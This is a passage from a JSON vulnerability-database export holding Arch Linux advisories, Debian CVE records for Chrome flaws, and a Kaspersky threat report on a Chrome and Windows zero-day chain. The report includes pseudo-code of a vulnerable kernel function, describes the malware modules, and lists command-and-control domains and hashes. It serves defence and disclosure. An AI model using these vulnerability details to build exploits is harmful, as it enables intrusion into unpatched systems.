{"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.6, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-10-29T00:00:00", "type": "archlinux", "title": "[ASA-202110-7] chromium: multiple issues", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37997", "CVE-2021-37998", "CVE-2021-37999", "CVE-2021-38000", "CVE-2021-38001", "CVE-2021-38002", "CVE-2021-38003"], "modified": "2021-10-29T00:00:00", "id": "ASA-202110-7", "href": "https://security.archlinux.org/ASA-202110-7", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-11-27T06:39:32", "description": "Arch Linux Security Advisory ASA-202111-8\n=========================================\n\nSeverity: High\nDate : 2021-11-18\nCVE-ID : CVE-2021-37997 CVE-2021-37998 CVE-2021-37999 CVE-2021-38000\nCVE-2021-38001 CVE-2021-38002 CVE-2021-38003 CVE-2021-38004\nPackage : opera\nType : multiple issues\nRemote : Yes\nLink : https://security.archlinux.org/AVG-2525\n\nSummary\n=======\n\nThe package opera before version 81.0.4196.54-1 is vulnerable to\nmultiple issues including arbitrary code execution, insufficient\nvalidation and access restriction bypass.\n\nResolution\n==========\n\nUpgrade to 81.0.4196.54-1.\n\n# pacman -Syu \"opera>=81.0.4196.54-1\"\n\nThe problems have been fixed upstream in version 81.0.4196.54.\n\nWorkaround\n==========\n\nNone.\n\nDescription\n===========\n\n- CVE-2021-37997 (arbitrary code execution)\n\nA use after free security issue has been found in the Sign-In component\nof the Chromium browser engine before version 95.0.4638.69.\n\n- CVE-2021-37998 (arbitrary code execution)\n\nA use after free security issue has been found in the Garbage\nCollection component of the Chromium browser engine before version\n95.0.4638.69.\n\n- CVE-2021-37999 (insufficient validation)\n\nAn insufficient data validation security issue has been found in the\nNew Tab Page component of the Chromium browser engine before version\n95.0.4638.69.\n\n- CVE-2021-38000 (insufficient validation)\n\nAn insufficient validation of untrusted input security issue has been\nfound in the Intents component of the Chromium browser engine before\nversion 95.0.4638.69. Google is aware that an exploit for\nCVE-2021-38000 exists in the wild.\n\n- CVE-2021-38001 (arbitrary code execution)\n\nA type confusion security issue has been found in the V8 component of\nthe Chromium browser engine before version 95.0.4638.69.\n\n- CVE-2021-38002 (arbitrary code execution)\n\nA use after free security issue has been found in the Web Transport\ncomponent of the Chromium browser engine before version 95.0.4638.69.\n\n- CVE-2021-38003 (arbitrary code execution)\n\nAn inappropriate implementation security issue has been found in the V8\ncomponent of the Chromium browser engine before version 95.0.4638.69.\nGoogle is aware that an exploit for CVE-2021-38003 exists in the wild.\n\n- CVE-2021-38004 (access restriction bypass)\n\nAn insufficient policy enforcement security issue has been found in the\nAutofill component of the Chromium browser engine before version\n95.0.4638.69.\n\nImpact\n======\n\nA remote attacker could execute arbitrary code through crafted web\ncontent. Google is aware that exploits for two of the security issues\nexist in the wild.\n\nReferences\n==========\n\nhttps://blogs.opera.com/desktop/changelog-for-81/\nhttps://chromereleases.googleblog.com/2021/10/stable-channel-update-for-desktop_28.html\nhttps://crbug.com/1259864\nhttps://crbug.com/1259587\nhttps://crbug.com/1251541\nhttps://crbug.com/1249962\nhttps://crbug.com/1260577\nhttps://crbug.com/1260940\nhttps://crbug.com/1263462\nhttps://crbug.com/1227170\nhttps://security.archlinux.org/CVE-2021-37997\nhttps://security.archlinux.org/CVE-2021-37998\nhttps://security.archlinux.org/CVE-2021-37999\nhttps://security.archlinux.org/CVE-2021-38000\nhttps://security.archlinux.org/CVE-2021-38001\nhttps://security.archlinux.org/CVE-2021-38002\nhttps://security.archlinux.org/CVE-2021-38003\nhttps://security.archlinux.org/CVE-2021-38004", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.6, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-11-18T00:00:00", "type": "archlinux", "title": "[ASA-202111-8] opera: multiple issues", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37997", "CVE-2021-37998", "CVE-2021-37999", "CVE-2021-38000", "CVE-2021-38001", "CVE-2021-38002", "CVE-2021-38003", "CVE-2021-38004"], "modified": "2021-11-18T00:00:00", "id": "ASA-202111-8", "href": "https://security.archlinux.org/ASA-202111-8", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "securelist": [{"lastseen": "2021-06-15T08:32:02", "description": "\n\nOn April 14-15, 2021, Kaspersky technologies detected a wave of highly targeted attacks against multiple companies. Closer analysis revealed that all these attacks exploited a chain of Google Chrome and Microsoft Windows zero-day exploits. While we were not able to retrieve the exploit used for remote code execution (RCE) in the Chrome web browser, we were able to find and analyze an elevation of privilege (EoP) exploit that was used to escape the sandbox and obtain system privileges.\n\nThe elevation of privilege exploit was fine-tuned to work against the latest and most prominent builds of Windows 10 (17763 - RS5, 18362 - 19H1, 18363 - 19H2, 19041 - 20H1, 19042 - 20H2) and it exploits two distinct vulnerabilities in the Microsoft Windows OS kernel. On April 20, 2021, we reported these vulnerabilities to Microsoft and they assigned CVE-2021-31955 to the information disclosure vulnerability and CVE-2021-31956 to the elevation of privilege vulnerability. Both vulnerabilities were patched on June 8, 2021, as a part of the June Patch Tuesday.\n\n## Remote code execution exploit\n\nAll of the observed attacks were conducted through Chrome browser. Unfortunately, we were unable to retrieve the JavaScript with full exploit code, but the timeframe of attacks and events preceding it led us to suspect one particular vulnerability.\n\nOn April 6-8, 2021 the Pwn2Own competition took place. This is a computer hacking contest where the Google Chrome web browser was one of the targets. According to the ZDI (Zero Day Initiative, the organizer of Pwn2Own) [website](<https://www.zerodayinitiative.com/blog/2021/4/2/pwn2own-2021-schedule-and-live-results>), one participating team was able to demonstrate a successful exploitation of the Chrome renderer process using a Typer Mismatch bug.\n\nOn April 12, 2021, the developers of Chromium committed two (issue [1196683](<https://chromium-review.googlesource.com/c/v8/v8/+/2820971>), issue [1195777](<https://chromium-review.googlesource.com/c/v8/v8/+/2817791>)) Typer-related bug fixes to the open-source repository of V8 \u2013 a JavaScript engine used by Chrome and Chromium web browsers. One of these bug fixes (issue [1196683](<https://chromium-review.googlesource.com/c/v8/v8/+/2820971>)) was intended to patch a vulnerability that was used during Pwn2Own, and both bug fixes were committed together with regression tests \u2013 JavaScript files to trigger these vulnerabilities. Later on the same day, a user with the Twitter handle @r4j0x00 published a working remote code execution exploit on GitHub, targeting an up-to-date version of Google Chrome. That exploit used a vulnerability from issue [1196683](<https://chromium-review.googlesource.com/c/v8/v8/+/2820971>) to execute a shellcode in the context of the browser renderer process.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/07122836/PuzzleMaker_attacks_01.png>)\n\n**_Screenshot of tweet with Chrome zero-day published on April 12, 2021_**\n\nThe published exploit didn't contain a sandbox escape exploit and was therefore intended to work only when the browser was launched with the command line option _-no-sandbox_.\n\nOn April 13, 2021, Google released Chrome update 89.0.4389.128 for Windows, Mac and Linux with a fix for two vulnerabilities; CVE-2021-21220 (used during Pwn2Own) was one of them.\n\nSome of our customers who were attacked on April 14-15, 2021, already had their Chrome browser updated to 89.0.4389.128, and that's why we think the attackers didn't use CVE-2021-21220 in their attacks.\n\nOn April 14, 2021, Google released Chrome update 90.0.4430.72 for Windows, Mac and Linux with a fix for 37 vulnerabilities. On the same day, a new Chrome exploit was presented to the public.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/07122912/PuzzleMaker_attacks_02.png>)\n\n**_Screenshot of GitHub repository with Chrome zero-day published on April 14, 2021_**\n\nThis newly published exploit used a vulnerability from issue [1195777](<https://chromium-review.googlesource.com/c/v8/v8/+/2817791>), worked on the newly released Chrome 90.0.4430.72, and was fixed as CVE-2021-21224 only a few days later, on April 20, 2021.\n\nWe suspect the attackers were also able to use this JavaScript file with regression test to develop the exploit (or acquire it from someone else) and were probably using CVE-2021-21224 in their attacks.\n\n## Elevation of privilege exploit\n\nCVE-2021-31955 is an information disclosure vulnerability in ntoskrnl.exe. The vulnerability is affiliated with a Windows OS feature called SuperFetch. It was introduced in Windows Vista and is aimed to reduce software loading times by pre-loading commonly used applications into memory. For SuperFetch purposes the function _NtQuerySystemInformation_ implements a special system information class _SystemSuperfetchInformation_. This system information class incorporates more than a dozen of different SuperFetch information classes. The vulnerability lies in the fact that data returned by the _NtQuerySystemInformation_ function for the SuperFetch information class _SuperfetchPrivSourceQuery_ contains EPROCESS kernel addresses for currently executed processes.\n\nIt's noteworthy that this vulnerability can be observed in code that was available on [GitHub](<https://github.com/zodiacon/WindowsInternals/blob/master/MemInfo/MemInfo.cpp>) for a few years before we caught it in the wild and Microsoft patched it.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/07122949/PuzzleMaker_attacks_03.png>)\n\n**_CVE-2021-31955 can be observed in the source code of the MemInfo utility_**\n\nThe other vulnerability, CVE-2021-31956, is a heap-based buffer overflow in ntfs.sys. The function _NtfsQueryEaUserEaList_ processes a list of extended attributes for the file and stores the retrieved values to buffer. This function is accessible via _ntoskrnl_ syscall and among other things it's possible to control the size of the output buffer. If the size of the extended attribute is not aligned, the function will calculate a padding and the next extended attribute will be stored 32-bit aligned. The code checks if the output buffer is long enough to fit the extended attribute with padding, but it doesn't check for possible integer-underflow. As a result, a heap-based buffer overflow can happen.\n \n \n for ( cur_ea_list_entry = ea_list; ; cur_ea_list_entry = next_ea_list_entry )\n {\n ...\n \n out_buf_pos = (DWORD *)(out_buf + padding + occupied_length);\n \n if ( NtfsLocateEaByName(eas_blocks_for_file, eas_blocks_size, &name, &ea_block_pos) )\n {\n \tea_block = eas_blocks_for_file + ea_block_pos;\n \tea_block_size = ea_block->DataLength + ea_block->NameLength + 9;\n \tif ( ea_block_size <= out_buf_length - padding ) // integer-underflow is possible\n \t{\n \tmemmove(out_buf_pos, (const void *)ea_block, ea_block_size); // heap buffer overflow\n \t*out_buf_pos = 0;\n \t}\n }\n else\n {\n \t...\n }\n \n ...\n \n occupied_length += ea_block_size + padding;\n out_buf_length -= ea_block_size + padding;\n padding = ((ea_block_size + 3) & 0xFFFFFFFC) - ea_block_size;\n \n ...\n }\n\n**_Pseudo-code for vulnerable code in function NtfsQueryEaUserEaList_**\n\nThe exploit uses CVE-2021-31956 along with Windows Notification Facility (WNF) to create arbitrary memory read and write primitives. We are planning to publish more information about this technique in the future.\n\nAs the exploit uses CVE-2021-31955 to get the kernel address of the EPROCESS structure, it is able to use the common post exploitation technique to steal SYSTEM token. However, the exploit uses a rarely used "PreviousMode" technique instead. We have seen this technique used by the CHAINSHOT framework and even made a [presentation](<https://github.com/oct0xor/presentations/blob/master/2019-02-Overview%20of%20the%20latest%20Windows%20OS%20kernel%20exploits%20found%20in%20the%20wild.pdf>) about it at CanSecWest/BlueHat in 2019. The exploit uses this technique to inject a malware module into the system process and execute it.\n\n## Malware modules\n\nBesides the aforementioned exploits, the full attack chain consists of four additional malware modules, which will be referred to as:\n\n * Stager\n * Dropper\n * Service\n * Remote shell\n\nThe stager module is used to notify that exploitation was successful. It also downloads and executes a more complex malware dropper module from a remote server. Each stager module is delivered to the victim with a personalized configuration blob that defines the C&C URL, Session ID, keys to decrypt the next stage of malware, and other information.\n\nAll the stager module samples that we've discovered so far were configured to use the same URL address \u2013 hxxps://p{removed}/metrika_upload/index.php \u2013 to download the encrypted malware dropper module.\n\nWe believe there is a chance that the remote code execution JavaScript exploit was also hosted on the same legitimate-looking geopolitical news portal, but we found no evidence of a classic watering hole attack. The victimology suggests a highly targeted delivery of exploits.\n\nThe dropper module is used to install two executables that pretend to be legitimate files belonging to Microsoft Windows OS. One of these files (%SYSTEM%\\WmiPrvMon.exe) is registered as a service and is used as a launcher for the second executable. This second executable (%SYSTEM%\\wmimon.dll) has the functionality of a remote shell and can be considered the main payload of the attack. We couldn't find any similarities between this and other known malware.\n\nThe remote shell module has a hardcoded URL of the C&C server inside (media-seoengine[.]com). All the communication between C&C server and client is authorized and encrypted. The remote shell module is able to download and upload files, create processes, sleep for specified amounts of time and delete itself from the compromised machine.\n\nNone of the artifacts we analyzed appear to have strong connections to any known threat actors. The only similarity to CHAINSHOT we observed is the "PreviousMode" technique, although this is publicly known and may be used by various groups. We are calling the threat actor behind these attacks PuzzleMaker.\n\nKaspersky products detect this exploit and malware modules with the verdicts:\n\n * PDM:Exploit.Win32.Generic\n * PDM:Trojan.Win32.Generic\n * UDS:DangerousObject.Multi.Generic\n\nKaspersky products detected these attacks with the help of the Behavioral Detection Engine and the Exploit Prevention component. Over the past few years, we have built a multitude of exploit protection technologies into our products that have detected many zero-days, repeatedly proving their effectiveness. We will continue to improve defenses for our users by enhancing technologies and working with third-party vendors to patch vulnerabilities, making the internet more secure for everyone.\n\nMore information about these attacks and the actor behind them is available to customers of the Kaspersky Intelligence Reporting service. Contact: intelreports@kaspersky.com.\n\nKaspersky would like to thank Microsoft for their prompt analysis of the report and patches.\n\n## IoCs\n\nmedia-seoengine[.]com\n\n**%SYSTEM%\\WmiPrvMon.exe**\n\nMD5 [09A5055DB44FC1C9E3ADD608EFFF038C](<https://opentip.kaspersky.com/09A5055DB44FC1C9E3ADD608EFFF038C/>) \nSHA-1 [BFFA4462901B74DBFBFFAA3A3DB27DAA61211412](<https://opentip.kaspersky.com/BFFA4462901B74DBFBFFAA3A3DB27DAA61211412/>) \nSHA-256 [982F7C4700C75B81833D5D59AD29147C392B20C760FE36B200B541A0F841C8A9](<https://opentip.kaspersky.com/982F7C4700C75B81833D5D59AD29147C392B20C760FE36B200B541A0F841C8A9/>)\n\n**%SYSTEM%\\wmimon.dll**\n\nMD5 [D6B850C950379D5EE0F254F7164833E8](<https://opentip.kaspersky.com/D6B850C950379D5EE0F254F7164833E8/>) \nSHA-1 [E63ED3B56A5F9A1EA5C92D3D2444196EA13BE94B](<https://opentip.kaspersky.com/E63ED3B56A5F9A1EA5C92D3D2444196EA13BE94B/>) \nSHA-256 [8A17279BA26C8FBE6966EA3300FDEFB1ADAE1B3ED68F76A7FC81413BD8C1A5F6](<https://opentip.kaspersky.com/8A17279BA26C8FBE6966EA3300FDEFB1ADAE1B3ED68F76A7FC81413BD8C1A5F6/>)", "cvss3": {}, "published": "2021-06-08T17:32:30", "type": "securelist", "title": "PuzzleMaker attacks with Chrome zero-day exploit chain", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2021-21220", "CVE-2021-21224", "CVE-2021-31955", "CVE-2021-31956"], "modified": "2021-06-08T17:32:30", "id": "SECURELIST:8E9198BF0E389572981DD1AA05D0708A", "href": "https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "debiancve": [{"lastseen": "2023-03-22T10:54:04", "description": "Use after free in Web Transport in Google Chrome prior to 95.0.4638.69 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 6.0}, "published": "2021-11-23T22:15:00", "type": "debiancve", "title": "CVE-2021-38002", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38002"], "modified": "2021-11-23T22:15:00", "id": "DEBIANCVE:CVE-2021-38002", "href": "https://security-tracker.debian.org/tracker/CVE-2021-38002", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-22T10:54:03", "description": "Use after free in Blink in Google Chrome prior to 89.0.4389.128 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-04-26T17:15:00", "type": "debiancve", "title": "CVE-2021-21206", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21206"], "modified": "2021-04-26T17:15:00", "id": "DEBIANCVE:CVE-2021-21206", "href": "https://security-tracker.debian.org/tracker/CVE-2021-21206", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-22T10:54:03", "description": "Use after free in WebGL in Google Chrome prior to 91.0.4472.114 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-02T19:15:00", "type": "debiancve", "title": "CVE-2021-30554", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30554"], "modified": "2021-07-02T19:15:00", "id": "DEBIANCVE:CVE-2021-30554", "href": "https://security-tracker.debian.org/tracker/CVE-2021-30554", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-22T10:54:03", "description": "Use after free in Blink in Google Chrome prior to 89.0.4389.90 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-03-16T15:15:00", "type": "debiancve", "title": "CVE-2021-21193", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21193"], "modified": "2021-03-16T15:15:00", "id": "DEBIANCVE:CVE-2021-21193", "href": "https://security-tracker.debian.org/tracker/CVE-2021-21193", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-22T10:54:03", "description": "Type Confusion in V8 in Google Chrome prior to 91.0.4472.164 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-08-03T19:15:00", "type": "debiancve", "title": "CVE-2021-30563", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30563"], "modified": "2021-08-03T19:15:00", "id": "DEBIANCVE:CVE-2021-30563", "href": "https://security-tracker.debian.org/tracker/CVE-2021-30563", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-22T10:54:03", "description": "Type confusion in V8 in Google Chrome prior to 90.0.4430.85 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-04-26T17:15:00", "type": "debiancve", "title": "CVE-2021-21224", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21224"], "modified": "2021-04-26T17:15:00", "id": "DEBIANCVE:CVE-2021-21224", "href": "https://security-tracker.debian.org/tracker/CVE-2021-21224", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-22T10:54:03", "description": "Insufficient validation of untrusted input in V8 in Google Chrome prior to 89.0.4389.128 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-04-26T17:15:00", "type": "debiancve", "title": "CVE-2021-21220", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21220"], "modified": "2021-04-26T17:15:00", "id": "DEBIANCVE:CVE-2021-21220", "href": "https://security-tracker.debian.org/tracker/CVE-2021-21220", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-22T10:54:04", "description": "Use after free in Portals in Google Chrome prior to 94.0.4606.61 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 6.0}, "published": "2021-10-08T22:15:00", "type": "debiancve", "title": "CVE-2021-37973", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37973"], "modified": "2021-10-08T22:15:00", "id": "DEBIANCVE:CVE-2021-37973", "href": "https://security-tracker.debian.org/tracker/CVE-2021-37973", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-22T10:54:04", "description": "Inappropriate implementation in V8 in Google Chrome prior to 95.0.4638.69 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-11-23T22:15:00", "type": "debiancve", "title": "CVE-2021-38003", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, 